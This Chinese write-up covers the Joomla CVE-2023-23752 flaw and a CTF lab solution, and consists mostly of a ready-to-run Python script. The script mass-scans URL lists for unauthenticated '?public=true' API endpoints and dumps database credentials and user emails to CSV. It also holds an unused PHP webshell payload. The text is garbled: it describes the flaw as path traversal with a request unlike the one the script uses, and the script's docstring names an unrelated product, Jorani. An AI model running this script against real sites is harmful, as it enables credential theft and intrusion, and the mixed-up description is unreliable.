目录
- CVE-2023-23752
- 漏洞细节
- 漏洞利用示例
- 修复建议
- 春秋云镜:
- 解法一:
- 解法二:
CVE-2023-23752
是一个影响 Joomla CMS 的未授权路径遍历漏洞。该漏洞出现在 Joomla 4.0.0 至 4.2.7 版本中,允许未经认证的远程攻击者通过特定 API 端点读取服务器上的敏感文件,包括配置文件等,这可能会导致服务器上的敏感信息泄露和进一步的攻击。
漏洞细节
- 漏洞编号:CVE-2023-23752
- 影响版本:Joomla 4.0.0 至 4.2.7
- 漏洞类型:路径遍历 (Directory Traversal)
- 访问要求:无需身份验证即可访问
- 利用条件:通过指定的 API 端点,结合路径遍历参数访问系统文件
攻击者通过利用路径遍历技巧向 Joomla 的 API 端点发送特定请求,可以直接访问和读取 Joomla 服务器的敏感文件,如 configuration.php 文件,其中可能包含数据库凭据、加密密钥等关键信息。
漏洞利用示例
攻击者可以通过如下请求来尝试获取配置文件内容:
GET /api/index.php/v1/config/application?path=../../configuration.php HTTP/1.1
Host: target-site.com
在 path 参数中使用路径遍历(如 …/…/)可绕过文件路径限制并访问 Joomla 安装路径外的文件。通过请求配置文件,攻击者能够获取服务器的数据库连接信息、加密密钥等敏感数据。
修复建议
Joomla 已在 4.2.8 版本中修复了该漏洞。建议用户尽快采取以下措施:
- 升级 Joomla 版本:将 Joomla CMS 升级至 4.2.8 或更高版本。
- 限制 API 访问:在服务器设置中对 /api/index.php 端点进行访问限制,以避免未经授权的访问。
- 启用 Web 应用防火墙(WAF):WAF 可帮助过滤和阻止包含路径遍历特征的恶意请求。
春秋云镜:
Joomla是一个开源免费的内容管理系统(CMS),基于PHP开发。在其4.0.0版本到4.2.7版本中,存在一处属性覆盖漏洞,导致攻击者可以通过恶意请求绕过权限检查,访问任意Rest API。
解法一:
直接利用脚本
"""
CVE-2023-23752 利用:Jorani 1.0.0 中的路径遍历与日志注入漏洞
该漏洞允许攻击者通过路径遍历访问日志文件并注入恶意代码,从而执行远程命令。
"""
import requests
import argparse
import csv
import json
import datetime
import sys
import re
import base64
import random
import string
# 禁用 SSL 不安全请求的警告
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
# 定义日志输出的函数,带有颜色显示
def inGreen(s):
return "\033[0;32m{}\033[0m".format(s)
def inYellow(s):
return "\033[0;33m{}\033[0m".format(s)
# 定义日志、错误和消息输出函数
def msg(x, y="\n"):
print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
def err(x, y="\n"):
print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
def log(x, y="\n"):
print(f'\x1b[93m[?]\x1b[0m {x}', end=y)
# 正则表达式,用于提取 CSRF 令牌和命令执行结果
CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)
# 定义 API 路径映射
URLS = {
'login': '/session/login',
'view': '/pages/view/',
}
# 随机生成一个头字段名,以绕过某些防护机制
HEADER_NAME = ''.join(random.choice(string.ascii_uppercase) for _ in range(12))
# 定义用于绕过重定向保护的请求头
BypassRedirect = {
'X-REQUESTED-WITH': 'XMLHttpRequest',
HEADER_NAME: ""
}
# 定义伪终端输入的提示符样式
INPUT = "\x1b[92muser\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ "
# 简化 URL 构造的函数
u = lambda base_url, path_key: base_url + URLS[path_key]
# 注入的恶意 PHP 代码和路径遍历 payload
POISON_PAYLOAD = f"<?php if(isset($_SERVER['HTTP_{HEADER_NAME}'])){{system(base64_decode($_SERVER['HTTP_{HEADER_NAME}']));}} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"
# 全局变量,用于存储输出文件路径、代理设置和是否禁用颜色输出
output = ""
proxy = {}
notColor = False
timeout = 10 # 添加这行,设置请求超时时间为10秒
def readFile(filepath):
"""读取文件内容,返回每行数据的列表"""
try:
with open(filepath, encoding='utf8') as file:
return file.readlines()
except Exception as e:
err(f"读取文件失败: {e}")
sys.exit(1)
def writeFile(filepath, data):
"""将数据写入 CSV 文件"""
try:
with open(filepath, 'a', encoding='utf8', newline='') as file:
filecsv = csv.writer(file)
filecsv.writerow(data)
except Exception as e:
err(f"写入文件失败: {e}")
def reqDatabase(url):
"""请求数据库配置信息,并提取用户名和密码"""
# 构造请求 URL
if url.endswith("/"):
api_url = f"{url}api/index.php/v1/config/application?public=true"
else:
api_url = f"{url}/api/index.php/v1/config/application?public=true"
# 定义请求头
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
try:
# 发送 GET 请求
response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)
# 检查响应内容是否包含用户和密码信息
if "links" in response.text and "\"password\":" in response.text:
try:
rejson = response.json()
user = ""
password = ""
for dataone in rejson['data']:
attributes = dataone.get('attributes', {})
user = attributes.get('user', "")
password = attributes.get('password', "")
if user or password:
printBody = f"[+] [Database] {url} --> {user} / {password}"
if notColor:
print(printBody)
else:
print(inYellow(printBody))
if output.strip():
writeFile(f"{output}_databaseUserAndPassword.csv", [url, user, password, response.text])
return url, response.text
except json.JSONDecodeError:
err("解析 JSON 失败")
except requests.RequestException as e:
err(f"请求数据库信息失败: {e}")
def reqUserAndEmail(url):
"""请求用户和邮箱信息,并提取用户名和邮箱"""
# 构造请求 URL
if url.endswith("/"):
api_url = f"{url}api/index.php/v1/users?public=true"
else:
api_url = f"{url}/api/index.php/v1/users?public=true"
# 定义请求头
headers = {
'Upgrade-Insecure-Requests': '1',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
'Accept-Encoding': 'gzip, deflate',
'Accept-Language': 'zh-CN,zh;q=0.9',
'Connection': 'close'
}
try:
# 发送 GET 请求
response = requests.get(api_url, headers=headers, verify=False, proxies=proxy, timeout=timeout)
# 检查响应内容是否包含用户名和邮箱信息
if "username" in response.text and "email" in response.text:
try:
rejson = response.json()
for dataone in rejson['data']:
attributes = dataone.get('attributes', {})
username = attributes.get('username', "")
email = attributes.get('email', "")
if username or email:
printBody = f"[+] [User&email] {url} --> {username} / {email}"
if notColor:
print(printBody)
else:
print(inGreen(printBody))
if output.strip():
writeFile(f"{output}_usernameAndEmail.csv", [url, username, email, response.text])
return url, response.text
except json.JSONDecodeError:
err("解析 JSON 失败")
except requests.RequestException as e:
err(f"请求用户和邮箱信息失败: {e}")
def reqs(listfileName):
"""读取 URL 列表并依次执行数据库和用户信息请求"""
urls = readFile(listfileName)
for url in urls:
url = url.strip()
if not url:
continue
reqDatabase(url)
reqUserAndEmail(url)
def main():
"""主函数,解析命令行参数并执行相应操作"""
parser = argparse.ArgumentParser(description="Jorani 1.0.0 CVE-2023-23752 漏洞利用脚本")
parser.add_argument('-u', '--url', type=str, default="", help="单个测试目标的 URL")
parser.add_argument('-l', '--listfile', type=str, default="", help="包含测试目标 URL 的文件")
parser.add_argument('-o', '--output', type=str, default="", help="输出文件的位置(不带扩展名)")
parser.add_argument('-p', '--proxy', type=str, default="", help="代理地址,例如:http://localhost:1080")
parser.add_argument('-nc', '--notColor', action='store_true', help="禁用带颜色的输出")
opt = parser.parse_args()
args = vars(opt)
url = args['url']
urlFileName = args['listfile']
global output, proxy, notColor
output = args['output']
if args['proxy']:
proxy['http'] = args['proxy']
proxy['https'] = args['proxy']
notColor = args['notColor']
if url:
reqDatabase(url)
reqUserAndEmail(url)
if urlFileName:
reqs(urlFileName)
if __name__ == '__main__':
main()
flag{631f8b58-cbda-473d-a969-5160c11977be}
解法二:
其本身可利用的api接口
v1/banners
v1/banners/:id
v1/banners
v1/banners/:id
v1/banners/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients
v1/banners/clients/:id
v1/banners/clients/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories
v1/banners/categories/:id
v1/banners/categories/:id
v1/banners/:id/contenthistory
v1/banners/:id/contenthistory/keep
v1/banners/:id/contenthistory
v1/config/application
v1/config/application
v1/config/:component_name
v1/config/:component_name
v1/contacts/form/:id
v1/contacts
v1/contacts/:id
v1/contacts
v1/contacts/:id
v1/contacts/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories
v1/contacts/categories/:id
v1/contacts/categories/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact
v1/fields/contacts/contact/:id
v1/fields/contacts/contact/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail
v1/fields/contacts/mail/:id
v1/fields/contacts/mail/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories
v1/fields/contacts/categories/:id
v1/fields/contacts/categories/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/contact/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/mail/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories
v1/fields/groups/contacts/categories/:id
v1/fields/groups/contacts/categories/:id
v1/contacts/:id/contenthistory
v1/contacts/:id/contenthistory/keep
v1/contacts/:id/contenthistory
v1/content/articles
v1/content/articles/:id
v1/content/articles
v1/content/articles/:id
v1/content/articles/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories
v1/content/categories/:id
v1/content/categories/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles
v1/fields/content/articles/:id
v1/fields/content/articles/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories
v1/fields/content/categories/:id
v1/fields/content/categories/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles
v1/fields/groups/content/articles/:id
v1/fields/groups/content/articles/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories
v1/fields/groups/content/categories/:id
v1/fields/groups/content/categories/:id
v1/content/articles/:id/contenthistory
v1/content/articles/:id/contenthistory/keep
v1/content/articles/:id/contenthistory
v1/extensions
v1/languages/content
v1/languages/content/:id
v1/languages/content
v1/languages/content/:id
v1/languages/content/:id
v1/languages/overrides/search
v1/languages/overrides/search/cache/refresh
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/site/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/administrator/zh-CN/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/site/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB
v1/languages/overrides/administrator/en-GB/:id
v1/languages/overrides/administrator/en-GB/:id
v1/languages
v1/languages
v1/media/adapters
v1/media/adapters/:id
v1/media/files
v1/media/files/:path/
v1/media/files/:path
v1/media/files
v1/media/files/:path
v1/media/files/:path
v1/menus/site
v1/menus/site/:id
v1/menus/site
v1/menus/site/:id
v1/menus/site/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator
v1/menus/administrator/:id
v1/menus/administrator/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items
v1/menus/site/items/:id
v1/menus/site/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items
v1/menus/administrator/items/:id
v1/menus/administrator/items/:id
v1/menus/site/items/types
v1/menus/administrator/items/types
v1/messages
v1/messages/:id
v1/messages
v1/messages/:id
v1/messages/:id
v1/modules/types/site
v1/modules/types/administrator
v1/modules/site
v1/modules/site/:id
v1/modules/site
v1/modules/site/:id
v1/modules/site/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator
v1/modules/administrator/:id
v1/modules/administrator/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds
v1/newsfeeds/feeds/:id
v1/newsfeeds/feeds/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories
v1/newsfeeds/categories/:id
v1/newsfeeds/categories/:id
v1/plugins
v1/plugins/:id
v1/plugins/:id
v1/privacy/requests
v1/privacy/requests/:id
v1/privacy/requests/export/:id
v1/privacy/requests
v1/privacy/consents
v1/privacy/consents/:id
v1/privacy/consents/:id
v1/redirects
v1/redirects/:id
v1/redirects
v1/redirects/:id
v1/redirects/:id
v1/tags
v1/tags/:id
v1/tags
v1/tags/:id
v1/tags/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site
v1/templates/styles/site/:id
v1/templates/styles/site/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator
v1/templates/styles/administrator/:id
v1/templates/styles/administrator/:id
v1/users
v1/users/:id
v1/users
v1/users/:id
v1/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users
v1/fields/users/:id
v1/fields/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users
v1/fields/groups/users/:id
v1/fields/groups/users/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups
v1/users/groups/:id
v1/users/groups/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels
v1/users/levels/:id
v1/users/levels/:id
/api/index.php/v1/config/application?public=true
这里存在的是数据库信息,没有看到有flag
/api/index.php/v1/users?public=true
查看用户信息,找到flag